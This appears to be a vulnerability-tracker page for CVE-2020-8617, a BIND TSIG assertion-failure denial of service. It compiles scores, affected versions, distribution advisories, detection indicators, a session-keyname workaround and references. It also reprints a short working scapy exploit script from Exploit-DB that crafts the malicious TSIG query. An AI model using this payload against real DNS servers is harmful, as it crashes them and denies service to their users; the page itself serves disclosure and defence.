CVE-2020-8617
published 2020-05-19CVE-2020-8617: Using a specially-crafted message, an attacker may potentially cause a BIND server to reach an inconsistent state if the attacker knows (or successfully…
PriorityP263medium5.9CVSS 3.1
AVNACHPRNUINSUCNINAH
EXPLOIT
EPSS
93.42%
99.8th percentile
Using a specially-crafted message, an attacker may potentially cause a BIND server to reach an inconsistent state if the attacker knows (or successfully guesses) the name of a TSIG key used by the server. Since BIND, by default, configures a local session key even on servers whose configuration does not otherwise make use of it, almost all current BIND servers are vulnerable. In releases of BIND dating from March 2018 and after, an assertion check in tsig.c detects this inconsistent state and deliberately exits. Prior to the introduction of the check the server would continue operating in an inconsistent state, with potentially harmful results.
Affected
39 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| debian | bind9 | < bind9 1:9.16.3-1 (bookworm) | bind9 1:9.16.3-1 (bookworm) |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| isc | bind | — | — |
| isc | bind | — | — |
| isc | bind | — | — |
| isc | bind | — | — |
| isc | bind | — | — |
| isc | bind | — | — |
| isc | bind | — | — |
| isc | bind | — | — |
| isc | bind | — | — |
| isc | bind | 9.0.0 – 9.11.18 | — |
| isc | bind | 9.12.0 – 9.12.4 | — |
| isc | bind | 9.13.0 – 9.13.7 | — |
| isc | bind | 9.14.0 – 9.14.11 | — |
Detection & IOCsextracted from sources · hover to see the quote
commandDNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)↗
- →Detect DNS queries over UDP port 53 containing a TSIG resource record with mac_len=0 and error=16 (BADTIME), which is the crafted payload used to trigger the assertion failure in tsig.c. ↗
- →Monitor for BIND named process crashes (assertion failure exits) originating from tsig.c, which indicate exploitation attempts against CVE-2020-8617. ↗
- →Flag DNS messages containing TSIG records where the attacker uses the well-known default session key name 'local-ddns' (trivially guessable internal TSIG session key name). ↗
- ·Almost all BIND servers are vulnerable by default because BIND automatically configures a local session key (named 'local-ddns') even when the configuration does not explicitly use TSIG, making the key name trivially guessable. ↗
- ·As a workaround, set a random/non-guessable value for 'session-keyname' in named.conf to prevent attackers from guessing the TSIG key name required to trigger the vulnerability. ↗
CVSS provenance
nvdv3.15.9MEDIUMCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:N/A:P
osv8.6HIGH
vendor_ubuntu8.6HIGH
vendor_debian7.5HIGH
vendor_redhat7.5HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Ubuntu
Bind vulnerabilities
vendor_ubuntu·2020-05-20·CVSS 8.6
CVE-2020-8616 [HIGH] Bind vulnerabilities
Title: Bind vulnerabilities
Summary: Several security issues were fixed in Bind.
USN-4365-1 fixed several vulnerabilities in Bind. This update provides
the corresponding update for Ubuntu 12.04 ESM and 14.04 ESM.
Original advisory details:
Lior Shafir, Yehuda Afek, and Anat Bremler-Barr discovered that Bind
incorrectly limited certain fetches. A remote attacker could possibly use
this issue to cause Bind to consume resources, leading to a denial of
service, or possibly use Bind to perform a reflection attack.
(CVE-2020-8616)
Tobias Klein discovered that Bind incorrectly handled checking TSIG
validity. A remote attacker could use this issue to cause Bind to crash,
resulting in a denial of service, or possibly perform other attacks.
(CVE-2020-8617)
Instructions: In general, a standard
Ubuntu
Bind vulnerabilities
vendor_ubuntu·2020-05-19·CVSS 8.6
CVE-2020-8616 [HIGH] Bind vulnerabilities
Title: Bind vulnerabilities
Summary: Several security issues were fixed in Bind.
Lior Shafir, Yehuda Afek, and Anat Bremler-Barr discovered that Bind
incorrectly limited certain fetches. A remote attacker could possibly use
this issue to cause Bind to consume resources, leading to a denial of
service, or possibly use Bind to perform a reflection attack.
(CVE-2020-8616)
Tobias Klein discovered that Bind incorrectly handled checking TSIG
validity. A remote attacker could use this issue to cause Bind to crash,
resulting in a denial of service, or possibly perform other attacks.
(CVE-2020-8617)
Instructions: In general, a standard system update will make all the necessary changes.
Red Hat
bind: A logic error in code which checks TSIG validity can be used to trigger an assertion failure in tsig.c
vendor_redhat·2020-05-19·CVSS 7.5
CVE-2020-8617 [HIGH] CWE-617 bind: A logic error in code which checks TSIG validity can be used to trigger an assertion failure in tsig.c
bind: A logic error in code which checks TSIG validity can be used to trigger an assertion failure in tsig.c
Using a specially-crafted message, an attacker may potentially cause a BIND server to reach an inconsistent state if the attacker knows (or successfully guesses) the name of a TSIG key used by the server. Since BIND, by default, configures a local session key even on servers whose configuration does not otherwise make use of it, almost all current BIND servers are vulnerable. In releases of BIND dating from March 2018 and after, an assertion check in tsig.c detects this inconsistent state and deliberately exits. Prior to the introduction of the check the server would continue operating in an inconsistent state, with potentially harmful results.
An assertion failure was found in BI
Debian
CVE-2020-8617: bind9 - Using a specially-crafted message, an attacker may potentially cause a BIND serv...
vendor_debian·2020·CVSS 7.5
CVE-2020-8617 [HIGH] CVE-2020-8617: bind9 - Using a specially-crafted message, an attacker may potentially cause a BIND serv...
Using a specially-crafted message, an attacker may potentially cause a BIND server to reach an inconsistent state if the attacker knows (or successfully guesses) the name of a TSIG key used by the server. Since BIND, by default, configures a local session key even on servers whose configuration does not otherwise make use of it, almost all current BIND servers are vulnerable. In releases of BIND dating from March 2018 and after, an assertion check in tsig.c detects this inconsistent state and deliberately exits. Prior to the introduction of the check the server would continue operating in an inconsistent state, with potentially harmful results.
Scope: local
bookworm: resolved (fixed in 1:9.16.3-1)
bullseye: resolved (fixed in 1:9.16.3-1)
forky: resolved (fixed in 1:9.16.3-1)
sid: resolved
GHSA
GHSA-q6g5-8p95-hqh7: Using a specially-crafted message, an attacker may potentially cause a BIND server to reach an inconsistent state if the attacker knows (or successful
ghsa_unreviewed·2022-05-24
CVE-2020-8617 [MEDIUM] CWE-617 GHSA-q6g5-8p95-hqh7: Using a specially-crafted message, an attacker may potentially cause a BIND server to reach an inconsistent state if the attacker knows (or successful
Using a specially-crafted message, an attacker may potentially cause a BIND server to reach an inconsistent state if the attacker knows (or successfully guesses) the name of a TSIG key used by the server. Since BIND, by default, configures a local session key even on servers whose configuration does not otherwise make use of it, almost all current BIND servers are vulnerable. In releases of BIND dating from March 2018 and after, an assertion check in tsig.c detects this inconsistent state and deliberately exits. Prior to the introduction of the check the server would continue operating in an inconsistent state, with potentially harmful results.
OSV
bind9 vulnerabilities
osv·2020-05-20·CVSS 8.6
CVE-2020-8616 [HIGH] bind9 vulnerabilities
bind9 vulnerabilities
USN-4365-1 fixed several vulnerabilities in Bind. This update provides
the corresponding update for Ubuntu 12.04 ESM and 14.04 ESM.
Original advisory details:
Lior Shafir, Yehuda Afek, and Anat Bremler-Barr discovered that Bind
incorrectly limited certain fetches. A remote attacker could possibly use
this issue to cause Bind to consume resources, leading to a denial of
service, or possibly use Bind to perform a reflection attack.
(CVE-2020-8616)
Tobias Klein discovered that Bind incorrectly handled checking TSIG
validity. A remote attacker could use this issue to cause Bind to crash,
resulting in a denial of service, or possibly perform other attacks.
(CVE-2020-8617)
OSV
CVE-2020-8617: Using a specially-crafted message, an attacker may potentially cause a BIND server to reach an inconsistent state if the attacker knows (or successful
osv·2020-05-19·CVSS 5.9
CVE-2020-8617 [MEDIUM] CVE-2020-8617: Using a specially-crafted message, an attacker may potentially cause a BIND server to reach an inconsistent state if the attacker knows (or successful
Using a specially-crafted message, an attacker may potentially cause a BIND server to reach an inconsistent state if the attacker knows (or successfully guesses) the name of a TSIG key used by the server. Since BIND, by default, configures a local session key even on servers whose configuration does not otherwise make use of it, almost all current BIND servers are vulnerable. In releases of BIND dating from March 2018 and after, an assertion check in tsig.c detects this inconsistent state and deliberately exits. Prior to the introduction of the check the server would continue operating in an inconsistent state, with potentially harmful results.
OSV
bind9 vulnerabilities
osv·2020-05-19·CVSS 8.6
CVE-2020-8616 [HIGH] bind9 vulnerabilities
bind9 vulnerabilities
Lior Shafir, Yehuda Afek, and Anat Bremler-Barr discovered that Bind
incorrectly limited certain fetches. A remote attacker could possibly use
this issue to cause Bind to consume resources, leading to a denial of
service, or possibly use Bind to perform a reflection attack.
(CVE-2020-8616)
Tobias Klein discovered that Bind incorrectly handled checking TSIG
validity. A remote attacker could use this issue to cause Bind to crash,
resulting in a denial of service, or possibly perform other attacks.
(CVE-2020-8617)
No detection rules found.
Exploit-DB
BIND - 'TSIG' Denial of Service
exploitdb·2020-05-20
CVE-2020-8617 BIND - 'TSIG' Denial of Service
BIND - 'TSIG' Denial of Service
---
#!/usr/bin/python
#coding:utf-8
from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)
dns_req = IP(dst='127.0.0.1')/UDP(dport=53)/DNS(rd=1, ad=1, qd=DNSQR(qname='www.example.com'), ar=tsig)
answer = sr1(dns_req, verbose=0)
print(answer[DNS].summary())
Metasploit
BIND TSIG Badtime Query Denial of Service
metasploit
BIND TSIG Badtime Query Denial of Service
BIND TSIG Badtime Query Denial of Service
A logic error in code which checks TSIG validity can be used to trigger an assertion failure in tsig.c.
arXiv
ResolverFuzz: Automated Discovery of DNS Resolver Vulnerabilities with Query-Response Fuzzing
arxiv_fulltext·2023-10-04
ResolverFuzz: Automated Discovery of DNS Resolver Vulnerabilities with Query-Response Fuzzing
: Automated Discovery of DNS Resolver Vulnerabilities with Query-Response Fuzzing
https://faculty.sites.uci.edu/zhouli/research/ Qifan Zhang ,
https://faculty.sites.uci.edu/zhouli/research/ Xuesong Bai ,
https://netsec.ccert.edu.cn/people/lx19 Xiang Li ,
https://netsec.ccert.edu.cn/people/duanhx/ Haixin Duan ,
https://netsec.ccert.edu.cn/people/qli/ Qi Li , and
https://faculty.sites.uci.edu/zhouli/ Zhou Li
Corresponding authors. Most of Xiang Li's work was done when visiting UCI as a project specialist.
https://uci.edu/University of California, Irvine,
https://www.tsinghua.edu.cn/en/Tsinghua University
Zhongguancun Laboratory,
https://www.qcl.edu.cn/Quan Cheng Laboratory
## Abstract
Domain Name System (DNS) is a critical component of the Internet. DNS resolvers, which act as the cache
Bugzilla
CVE-2020-8617 bind: A logic error in code which checks TSIG validity can be used to trigger an assertion failure in tsig.c [fedora-all]
bugzilla·2020-05-19·CVSS 7.5
CVE-2020-8617 [HIGH] CVE-2020-8617 bind: A logic error in code which checks TSIG validity can be used to trigger an assertion failure in tsig.c [fedora-all]
CVE-2020-8617 bind: A logic error in code which checks TSIG validity can be used to trigger an assertion failure in tsig.c [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit mess
Bugzilla
CVE-2020-8617 bind: A logic error in code which checks TSIG validity can be used to trigger an assertion failure in tsig.c
bugzilla·2020-05-15·CVSS 7.5
CVE-2020-8617 [HIGH] CVE-2020-8617 bind: A logic error in code which checks TSIG validity can be used to trigger an assertion failure in tsig.c
CVE-2020-8617 bind: A logic error in code which checks TSIG validity can be used to trigger an assertion failure in tsig.c
As per upstream advisory:
An error in BIND code which checks the validity of messages containing TSIG resource records can be exploited by an attacker to trigger an assertion failure in tsig.c, resulting in denial of service to clients.
Using a specially-crafted message, an attacker may potentially cause a BIND server to reach an inconsistent state if the attacker knows (or successfully guesses) the name of a TSIG key used by the server.
In releases of BIND dating from March 2018 and after, an assertion check in tsig.c detects this inconsistent state and deliberately exits. Prior to the introduction of the check the server would continue operating in an inconsisten
http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00041.htmlhttp://lists.opensuse.org/opensuse-security-announce/2020-10/msg00044.htmlhttp://packetstormsecurity.com/files/157836/BIND-TSIG-Denial-Of-Service.htmlhttp://www.openwall.com/lists/oss-security/2020/05/19/4https://kb.isc.org/docs/cve-2020-8617https://lists.debian.org/debian-lts-announce/2020/05/msg00031.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JKJXVBOKZ36ER3EUCR7VRB7WGHIIMPNJ/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WOGCJS2XQ3SQNF4W6GLZ73LWZJ6ZZWZI/https://security.netapp.com/advisory/ntap-20200522-0002/https://usn.ubuntu.com/4365-1/https://usn.ubuntu.com/4365-2/https://www.debian.org/security/2020/dsa-4689http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00041.htmlhttp://lists.opensuse.org/opensuse-security-announce/2020-10/msg00044.htmlhttp://packetstormsecurity.com/files/157836/BIND-TSIG-Denial-Of-Service.htmlhttp://www.openwall.com/lists/oss-security/2020/05/19/4https://kb.isc.org/docs/cve-2020-8617https://lists.debian.org/debian-lts-announce/2020/05/msg00031.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JKJXVBOKZ36ER3EUCR7VRB7WGHIIMPNJ/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WOGCJS2XQ3SQNF4W6GLZ73LWZJ6ZZWZI/https://security.netapp.com/advisory/ntap-20200522-0002/https://usn.ubuntu.com/4365-1/https://usn.ubuntu.com/4365-2/https://www.debian.org/security/2020/dsa-4689
2020-05-19
Published